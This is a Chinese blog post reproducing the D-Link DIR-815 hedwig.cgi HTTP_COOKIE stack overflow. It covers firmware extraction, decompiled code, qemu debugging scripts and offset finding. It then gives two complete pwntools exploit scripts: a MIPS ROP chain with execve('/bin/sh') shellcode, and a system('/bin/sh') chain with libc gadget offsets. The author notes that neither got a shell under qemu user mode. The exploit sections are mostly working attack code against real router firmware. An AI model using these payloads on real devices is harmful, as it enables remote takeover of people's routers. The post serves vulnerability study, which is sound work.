路由器学习之D-Link DIR-815溢出漏洞复现

[toc]

前言

用了mipsrop发现是真的香,以前做mips题全部是ropper到txt里找相关寄存器的指令,构造极其复杂,有了mipsrop发现很多可控的jmp地址。

基本信息

我们看到是在hedwig.cgi中产生的一个cookie溢出的漏洞。我们下载这个固件利用binwalk -e [file]即可获得文件系统,利用命令:

 find ./ -name 'hedwig.cgi'

找到其对应的位置,在该文件位置处利用命令:

ls -l hedwig.cgi

查看该文件信息

我们看到这个文件是指向cgibin的符号链接,这个好像没什么用

Ghidra反汇编程序分析

程序通过getenv函数获取数据包中cookie数据:

流程大概是:
1主Web程序监听端口->传送HTTP数据包
2.HTTP中headers等数据通过环境变量的方式传给cgi处理程序
3.cgi程序通过getenv获取数据并处理返回给主程序->向客户端返回响应数据
4.POST具体数据可以通过类似输入流传入 :echo “uid=aaa”| /htdocs/web/hedwig.cgi

定位到sess_get_uid函数

void sess_get_uid(undefined4 param_1)

{
  int iVar1;
  char *pcVar2;
  char *pcVar3_cookie;
  undefined4 uVar3;
  int iVar4;
  uint uVar5;
  code *pcVar6;

                    /* malloc 0x18 heap */
  iVar1 = sobj_new();
  pcVar2 = (char *)sobj_new();
  pcVar3_cookie = getenv("HTTP_COOKIE");
  if (((iVar1 != 0) && (pcVar2 != (char *)0x0)) && (pcVar3_cookie != (char *)0x0)) {
    uVar5 = 0;
LAB_00407e28:
    iVar4 = (int)*pcVar3_cookie;
    if (iVar4 == 0) goto LAB_00407ec4;
    if (uVar5 == 1) {
LAB_00407db0:
      if (iVar4 == 0x3b) {
        uVar5 = 0;
      }
      else {
        uVar5 = 2;
        if (iVar4 != 0x3d) {
          sobj_add_char(iVar1,iVar4);
          uVar5 = 1;
        }
      }
    }
    else {
      if (uVar5 < 2) {
        if (uVar5 == 0) {
          if (iVar4 != 0x20) {
            sobj_free(iVar1);
            sobj_free(pcVar2);
            goto LAB_00407db0;
          }
          goto LAB_00407e24;
        }
        pcVar3_cookie = pcVar3_cookie + 1;
        goto LAB_00407e28;
      }
      if (uVar5 == 2) {
        if (iVar4 == 0x3b) {
          uVar5 = 3;
          goto LAB_00407e24;
        }
        sobj_add_char(pcVar2,iVar4);
        pcVar3_cookie = pcVar3_cookie + 1;
        goto LAB_00407e28;
      }
      if (uVar5 == 3) {
        iVar4 = sobj_strcmp(iVar1,&DAT_0041a5d8);
        uVar5 = 0;
        if (iVar4 != 0) goto LAB_00407e24;
        goto LAB_00407e40;
      }
    }
LAB_00407e24:
    pcVar3_cookie = pcVar3_cookie + 1;
    goto LAB_00407e28;
  }
LAB_00407ee0:
  pcVar6 = getenv;
  pcVar3_cookie = "REMOTE_ADDR";
LAB_00407e48:
  uVar3 = (*pcVar6)(pcVar3_cookie);
  sobj_add_string(param_1,uVar3);
  if (iVar1 != 0) {
    sobj_del(iVar1);
  }
  if (pcVar2 != (char *)0x0) {
                    /* WARNING: Could not recover jumptable at 0x00407ebc. Too many branches */
                    /* WARNING: Treating indirect jump as call */
    sobj_del(pcVar2);
    return;
  }
  return;
LAB_00407ec4:
  iVar4 = sobj_strcmp(iVar1,&DAT_0041a5d8);
  if (iVar4 == 0) {
LAB_00407e40:
    pcVar6 = sobj_get_string;
    pcVar3_cookie = pcVar2;
    goto LAB_00407e48;
  }
  goto LAB_00407ee0;
}

没有发现有什么漏洞点。我们再找找调用这个函数的位置,发现在hedwigcgi_main函数中有该函数的调用:

我们看到在后面的sprintf造成了栈溢出漏洞。

实际上这里还有一个栈溢出漏洞:

由于没有size限制就可以无限格式化一个长字符串导致溢出,正常情况一般都会使用snprintf函数来完成指定一个size。

POST具体数据可以通过类似输入流传入 :echo “uid=aaa”| /htdocs/web/hedwig.cgi

调试

先看看偏移

命令:

sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=`python -c "print 'uid=123'+'A'*0x600"` -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="0.0.0.0" -g 23946 ./htdocs/web/hedwig.cgi

貌似是执行一次post请求?

{% asset_img 5.png %}
我们已经看到已经成功控制了返回地址。
{% asset_img 6.png %}

我们看到栈溢出已经成功了,我们看看栈溢出的长度


sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=`python -c "print 'uid=123'+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaat'"` -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="0.0.0.0" -g 23946 ./htdocs/web/hedwig.cgi

溢出长度为1040字节

在这之前我们需要看看其各段信息,我们发现gdb中vmmap指令不管用,于是通过proc中进程信息来查看:
这里明明是32位程序却打印出了64位内存布局……

先利用参考资料中:libc 的基地址 0x76738000

通过加载的这个libc来找gadgets

调试优化

调试脚本test.sh

调试脚本test.sh,其中需要sudo chroot 到文件系统下,然后利用qemu-mipsel-static用户模式进行调试,-E是对应环境变量的参数。-g 指定调试端口,“2> /dev/null” 代表忽略掉错误提示信息。

#/bin/bash
test=$(python -c "print 'uid='+open('test','r').read(2000)")LEN=$(echo -n "$test" | wc -c)PORT="23957"
cp $(which qemu-mipsel-static) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null
rm -f ./qemu

在这之前需要利用patternLocOffset.py生成test文件,包含特定格式的2000个字符串。patternLocOffset.py是一个已实现的小工具。

python patternLocOffset.py -c -l 2000 -f test

重新触发两个栈溢出:

第一个栈溢出

test脚本:

#/bin/bash
test=$(python -c "print 'uid='+open('test','r').read(2000)")
LEN=$(echo -n "$test" | wc -c)
PORT="23957"
sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null

生成payload文件test:

python patternLocOffset.py -c -l 2000 -f test
{% asset_img 9.png %}

第二个栈溢出

#!/bin/bash
#sudo ./test.sh  "uid=1234"  `python -c "print 'uid=' + open('content','r').read()"`

INPUT="$1"
COOKIE="$2"
PORT="23957"
LEN=$(echo -n "$INPUT" | wc -c)
cp $(which qemu-mipsel-static) ./qemu

echo $INPUT | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1"  -g $PORT /htdocs/web/hedwig.cgi
rm -f ./qemu

执行命令

sudo ./test.sh  "uid=1234"  `python -c "print 'uid=' + open('test','r').read()"`

第二个栈溢出好像触发不了…

exp

通过两个方式来getshell

exp1 shellcode

有一个常规的rop链:执行的整体流程为 sleep(1) -> read_value_from_stack -> jump to stack(shellcode)

这里详细讲讲为什么要执行sleep(1):

MIPS CPUs有两个独立的cache:指令cache和数据cache。指令和数据分别在两个不同的缓存中。当缓存满了,会触发flush,将数据写回到主内存。攻击者的攻击payload通常会被应用当做数据来处理,存储在数据缓存中。当payload触发漏洞,劫持程序执行流程的时候,会去执行内存中的shellcode。如果数据缓存没有触发flush的话,shellcode依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储shellcode的地址处随机的代码,导致不可预知的后果。

最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如sleep(1)或者其他类似的函数。sleep的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行flush。

简单的来说就是可能shellcode并没有写进去,导致执行未知数据的问题

我们在IDA 7.0下使用mipsrop:

mipsrop.find(“li $a0,1”)

{% asset_img 10.png %}
{% asset_img 11.png %}

mipsrop.tail():该指令作用是打印出所有函数尾部调用的gadget,这些gadget对函数调用很有效。因为非叶子函数尾部一般是将栈中值返回给寄存器然后再跳转。

0x57e50处将跳转到寄存器t9中的值,而t9寄存器时通过s1寄存器来传值的。

{% asset_img 12.png %}

此时payload:

base_addr = 0x76738000
rop1 = 0x3e524 
# .text:0003E524 move    $t9, $s2
#.text:0003E528 lw      $ra, 0x28+var_4($sp)
#.text:0003E52C lw      $s2, 0x28+var_8($sp)
#.text:0003E530 lw      $s1, 0x28+var_C($sp)
#.text:0003E534 lw      $s0, 0x28+var_10($sp)
#.text:0003E538 jr     

payload = "uid="+"a"*973
payload+= "a"*4 + p32(base_addr + rop1) # s0 s1
payload+= "a"*28 # s2~s7 fp
rop2 = 0x57e50
#.text:00057E50 li      $a0, 1
#.text:00057E54 move    $t9, $s1
#.text:00057E58 jalr   
payload+= p32(base_addr+rop2)

填充ra寄存器:

0003E528 lw $ra, 0x28+var_4( $sp)

sp 和 ra 寄存器的距离为 0x24,所以这里的填充为 0x24,后面的四个字节就是 ra 寄存器的值

那么这样的话s2填充为sleep函数地址,ra则为下一个gadget地址,这样可以执行完sleep(1)函数后执行gadgets。sleep函数通过在IDA里面查看得知偏移是0x56bd0

payload更新:

base_addr = 0x76738000
rop1 = 0x3e524 
# .text:0003E524 move    $t9, $s2
#.text:0003E528 lw      $ra, 0x28+var_4($sp)
#.text:0003E52C lw      $s2, 0x28+var_8($sp)
#.text:0003E530 lw      $s1, 0x28+var_C($sp)
#.text:0003E534 lw      $s0, 0x28+var_10($sp)
#.text:0003E538 jr     

payload = "uid="+"a"*973
payload+= "a"*4 + p32(base_addr + rop1) # s0 s1
payload+= p32(base_addr+sleep_addr) # s2
payload+= "a"*24 # s3~s7 fp
rop2 = 0x57e50
#.text:00057E50 li      $a0, 1
#.text:00057E54 move    $t9, $s1
#.text:00057E58 jalr   
payload+= p32(base_addr+rop2)

利用mipsrop.stackfinder()找gadgets,也就是赋值完stack后又jmp到一个gadgets。(因为s1可控)

最后再寻找mipsrop.find(“mov $t9,$a1”)找到可以跳到a1寄存器的指令

调用shellcode的payload

rop3 = 0xb814

# .text:0000B814 addiu   $a1, $sp, 0x168+var_150
# .text:0000B818 move    $t9, $s1
# .text:0000B81C jalr    $t9 ; st

rop4 = 0x37e6c

# .text:00037E6C move    $t9, $a1
# .text:00037E70 addiu   $a0, 0x4C  # 'L'
# .text:00037E74 jr      $t

payload+= "b"*0x1c
payload+= p32(rop4+base_addr) # s1
payload+= "b"*4     # s2
payload+= p32(base_addr+rop3) # ra

shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404
payload+= "d"*0x18
payload+= shellcode

with open("payload",'wb') as f:
    f.write(payload)
f.close()

完整exp

#!/usr/bin/python
from pwn import *
context.endian="little"
context.arch="mips"
base_addr = 0x76738000
sleep_addr = 0x56bd0
system_addr = 0x53200
rop1 = 0x3e524 
# .text:0003E524 move    $t9, $s2
#.text:0003E528 lw      $ra, 0x28+var_4($sp)
#.text:0003E52C lw      $s2, 0x28+var_8($sp)
#.text:0003E530 lw      $s1, 0x28+var_C($sp)
#.text:0003E534 lw      $s0, 0x28+var_10($sp)
#.text:0003E538 jr    

payload = "a"*(0x3cb+12+0x30-0x18)
payload+= "a"*4 + p32(base_addr + rop1) # s0 s1
payload+= p32(base_addr+sleep_addr) # s2
payload+= "a"*24 # s3~s7 fp
rop2 = 0x57e50
#.text:00057E50 li      $a0, 1
#.text:00057E54 move    $t9, $s1
#.text:00057E58 jalr   
payload+= p32(base_addr+rop2)

rop3 = 0xb814

# .text:0000B814 addiu   $a1, $sp, 0x168+var_150
# .text:0000B818 move    $t9, $s1
# .text:0000B81C jalr    $t9 ; st

rop4 = 0x37e6c

# .text:00037E6C move    $t9, $a1
# .text:00037E70 addiu   $a0, 0x4C  # 'L'
# .text:00037E74 jr      $t

payload+= "b"*0x1c
payload+= p32(rop4+base_addr) # s1
payload+= "b"*4     # s2
payload+= p32(base_addr+rop3) # ra

shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404
payload+= "d"*0x18
payload+= shellcode

with open("payload",'wb') as f:
    f.write(payload)
f.close()

但是由于一些原因在qemu用户模式不能成功getshell:

我们在后面也会尝试解决这个问题

exp2 system(“/bin/sh”)

system函数的真实地址0x76738000+0x53200=0x7678b200

因为system函数的最低位为\x00,在构造HTTP_COOKIE的时候\x00会被sprintf截断,其实还不用到sprintf函数,之前sess_get_uid函数就获取\x00字符之前的字符串,导致缓冲区溢出失败。所以构造shellcode时需要存入的事0x7678b200-1=0x7678b1ff,之后通过寻址gadget将其加1即可。

找用得上的gadgets
mipsrop.find(“addiu .*,1”)

完整exp

#!/usr/bin/python
from pwn import *
context.endian="little"
context.arch="mips"

base_addr = 0x76738000
sleep_addr = 0x56bd0
system_addr = 0x53200
binsh_addr = 0x5a448
rop1 = 0x3e524 
# .text:0003E524 move    $t9, $s2
#.text:0003E528 lw      $ra, 0x28+var_4($sp)
#.text:0003E52C lw      $s2, 0x28+var_8($sp)
#.text:0003E530 lw      $s1, 0x28+var_C($sp)
#.text:0003E534 lw      $s0, 0x28+var_10($sp)
#.text:0003E538 jr    

rop2 = 0x57e50
#.text:00057E50 li      $a0, 1
#.text:00057E54 move    $t9, $s1
#.text:00057E58 jalr   

rop3 = 0xb814
# .text:0000B814 addiu   $a1, $sp, 0x168+var_150
# .text:0000B818 move    $t9, $s1
# .text:0000B81C jalr    $t9 ; st

rop4 = 0x37e6c
# .text:00037E6C move    $t9, $a1
# .text:00037E70 addiu   $a0, 0x4C  # 'L'
# .text:00037E74 jr      $t

rop5 = 0x4c138
# .text:0004C138 move    $a0, $s2
# .text:0004C13C move    $t9, $s0
# .text:0004C140 jalr    $t9 ; s

rop6 = 0x45988
# .text:00045988                 addiu   $s0, 1
# .text:0004598C                 move    $a0, $s0
# .text:00045990                 move    $t9, $s1
# .text:00045994                 jalr    $t9

rop7 = 0x00159D8
# text:000159CC                 addiu   $s5, $sp, 0x170+var_160
# .text:000159D0                 move    $a1, $s3
# .text:000159D4                 move    $a2, $s1
# .text:000159D8                 move    $t9, $s0
# .text:000159DC                 jalr    $t9 ; mempcpy

payload = "a"*(0x3cb+16+0x30-0x28+0xc)
payload+= p32(system_addr+base_addr-1) + p32(rop5+base_addr) # s0 s1
payload+= p32(base_addr+binsh_addr) # s2
payload+= "a"*24 # s3~s7 fp
payload+= p32(base_addr+rop6)

with open("payload1",'wb') as f:
    f.write(payload)
f.close()
但是仍然无法getshell,需要起qemu-system-mipsel来复现完整的getshell的过程

 Previous
2020-虎符线上赛部分PWN解题 2020-虎符线上赛部分PWN解题
[toc] 前言很早的比赛,线下被俺们鸽掉了,这里做个总结 count:栈溢出SecureBox:汇编层面的一个整数溢出,很有意思MarksMan:改三个字节,通过exit来getshell count程序没开PIE,主函数如下: 这个题
2020-12-09
Next 
2019 TCTF aegis 2019 TCTF aegis
这道题是学习学弟的博客看到的感觉很有趣拿来学习学习 查看文件 我们看到除了常见的五个保护还有ASAN和UBSAN两个保护。 知识点补充在这里我们需要进行知识点补充:asan(AddressSanitizer)是google开源的一个用于进
2020-10-29
  TOC